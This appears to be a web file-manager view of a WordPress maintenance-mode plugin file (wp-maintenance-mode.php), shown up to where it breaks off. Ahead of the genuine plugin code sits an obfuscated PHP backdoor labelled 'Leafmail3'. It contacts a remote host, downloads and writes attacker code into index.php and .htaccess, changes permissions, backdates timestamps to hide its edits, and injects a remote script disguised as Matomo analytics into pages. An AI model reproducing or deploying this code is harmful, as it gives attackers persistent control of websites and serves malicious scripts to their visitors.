trAvis - MANAGER
Edit File: wp-maintenance-mode.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php use ThemeIsle\GutenbergBlocks\CSS\Block_Frontend; defined( 'ABSPATH' ) || exit; if ( ! class_exists( 'WP_Maintenance_Mode' ) ) { class WP_Maintenance_Mode { const VERSION = '2.6.11'; const MAINTENANCE = 'maintenance'; const COMING_SOON = 'coming-soon'; const LANDING_PAGE = 'landing-page'; protected $plugin_slug = 'wp-maintenance-mode'; protected $plugin_settings; protected $plugin_network_settings = array( 'general' => array( 'status' => 0, 'network_mode' => 0, ), ); protected $plugin_basename; protected static $instance = null; private $style_buffer; private $current_page_category; /** * 3, 2, 1... Start! */ private function __construct() { if ( ! get_option( 'wpmm_settings' ) || get_option( 'wpmm_settings' ) === '' ) { update_option( 'wpmm_show_migration', '0' ); update_option( 'wpmm_new_look', '1' ); if ( version_compare( $GLOBALS['wp_version'], '5.8', '>=' ) ) { update_option( 'wpmm_fresh_install', '1' ); } } if ( get_option( 'wpmm_migration_time' ) && ( ( time() - intval( get_option( 'wpmm_migration_time' ) ) > WEEK_IN_SECONDS ) ) ) { update_option( 'wpmm_show_migration', '0' ); } $this->plugin_settings = wpmm_get_option( 'wpmm_settings', array() ); $this->plugin_basename = plugin_basename( WPMM_PATH . $this->plugin_slug . '.php' ); if ( is_multisite() ) { $plugin_network_settings = get_network_option( get_current_network_id(), 'wpmm_settings_network', $this->plugin_network_settings ); $plugin_network_settings = array_filter( $plugin_network_settings ); $this->plugin_network_settings = wp_parse_args( $plugin_network_settings, $this->plugin_network_settings ); if ( ! isset( $this->plugin_network_settings['general']['network_mode'] ) ) { $this->plugin_network_settings['general']['network_mode'] = 0; } if ( ! empty( $this->plugin_network_settings ) ) { $this->plugin_settings['general']['network_mode'] = ! empty( $this->plugin_network_settings['general']['network_mode'] ) ? 1 : 0; if ( $this->plugin_settings['general']['network_mode'] ) { $this->plugin_settings['general']['status'] = ! empty( $this->plugin_network_settings['general']['status'] ) ? 1 : 0; } } } // Load plugin text domain add_action( 'init', array( $this, 'load_plugin_textdomain' ) ); // Add shortcodes add_action( 'init', array( 'WP_Maintenance_Mode_Shortcodes', 'init' ) ); // Activate plugin when new blog is added $new_blog_action = isset( $GLOBALS['wp_version'] ) && version_compare( $GLOBALS['wp_version'], '5.1-RC', '>=' ) ? 'wp_initialize_site' : 'wpmu_new_blog'; add_action( $new_blog_action, array( $this, 'activate_new_site' ), 11, 1 ); // Check update add_action( 'admin_init', array( $this, 'check_update' ) ); // Add maintenance page template add_filter( 'theme_page_templates', array( $this, 'add_maintenance_template' ) ); add_filter( 'template_include', array( $this, 'use_maintenance_template' ) ); // This is a fix for some styles not being loaded on block themes if ( function_exists( 'wp_is_block_theme' ) && wp_is_block_theme() ) { add_action( 'wpmm_head', array( $this, 'remember_style_fse' ) ); add_action( 'wpmm_footer', array( $this, 'add_style_fse' ) ); } if ( ! empty( $this->plugin_settings['general']['status'] ) && $this->plugin_settings['general']['status'] === 1 ) { // INIT add_action( ( is_admin() ? 'init' : 'template_redirect' ), array( $this, 'init' ) ); // Add ajax methods add_action( 'wp_ajax_nopriv_wpmm_add_subscriber', array( $this, 'add_subscriber' ) ); add_action( 'wp_ajax_wpmm_add_subscriber', array( $this, 'add_subscriber' ) ); add_action( 'wp_ajax_nopriv_wpmm_send_contact', array( $this, 'send_contact' ) ); add_action( 'wp_ajax_wpmm_send_contact', array( $this, 'send_contact' ) ); add_action( 'otter_form_after_submit', array( $this, 'otter_add_subscriber' ) ); if ( isset( $this->plugin_settings['design']['page_id'] ) && get_option( 'wpmm_new_look' ) && get_post_status( $this->plugin_settings['design']['page_id'] ) === 'private' ) { add_filter( 'wpo_purge_all_cache_on_update', '__return_true' ); if ( function_exists( 'wp_functionality_constants' ) ) { wp_functionality_constants(); } wp_publish_post( $this->plugin_settings['design']['page_id'] ); } update_option( 'show_on_front', 'page' ); add_filter( 'pre_option_page_on_front', function ( $value ) { if ( ( ! $this->check_user_role() && ! $this->check_exclude() ) && isset( $this->plugin_settings['design']['page_id'] ) && get_option( 'wpmm_new_look' ) ) { $page_id = $this->plugin_settings['design']['page_id']; if ( ! function_exists( 'is_plugin_active' ) ) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ( is_plugin_active( 'otter-blocks/otter-blocks.php' ) ) { Block_Frontend::instance()->enqueue_google_fonts( $page_id ); } return $page_id; } return $value; } ); // Redirect add_action( 'init', array( $this, 'redirect' ), 9 ); // Enqueue CSS files and add inline css add_action( 'wpmm_head', array( $this, 'add_css_files' ) ); add_action( 'wpmm_head', array( $this, 'add_inline_css_style' ), 11 ); // Google Analytics tracking script add_action( 'wpmm_head', array( $this, 'add_google_analytics_code' ) ); // Enqueue Javascript files and add inline javascript add_action( 'wpmm_before_scripts', array( $this, 'add_bot_extras' ) ); add_action( 'wpmm_footer', array( $this, 'add_js_files' ) ); } else { // make maintenance page private when maintenance mode is disabled add_action( 'init', function() { if ( ! isset( $this->plugin_settings['design']['page_id'] ) ) { return; } if ( get_post_status( $this->plugin_settings['design']['page_id'] ) === 'publish' ) { wp_update_post( array( 'ID' => $this->plugin_settings['design']['page_id'], 'post_status' => 'private', ) ); } } ); } } /** * Singleton * * @return object */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Return plugin slug * * @since 2.0.0 * @return string */ public function get_plugin_slug() { return $this->plugin_slug; } /** * Return plugin settings * * @since 2.0.0 * @return array */ public function get_plugin_settings() { return $this->plugin_settings; } /** * Return plugin network site settings * * @since 2.6.2 * @return array */ public function get_plugin_network_settings() { return $this->plugin_network_settings; } /** * Return the plugin's page categories * * @return array */ public static function get_page_categories() { return array( self::COMING_SOON => __( 'Coming Soon', 'wp-maintenance-mode' ), self::MAINTENANCE => __( 'Maintenance mode', 'wp-maintenance-mode' ), self::LANDING_PAGE => __( 'Landing Page', 'wp-maintenance-mode' ), ); } /** * Return the 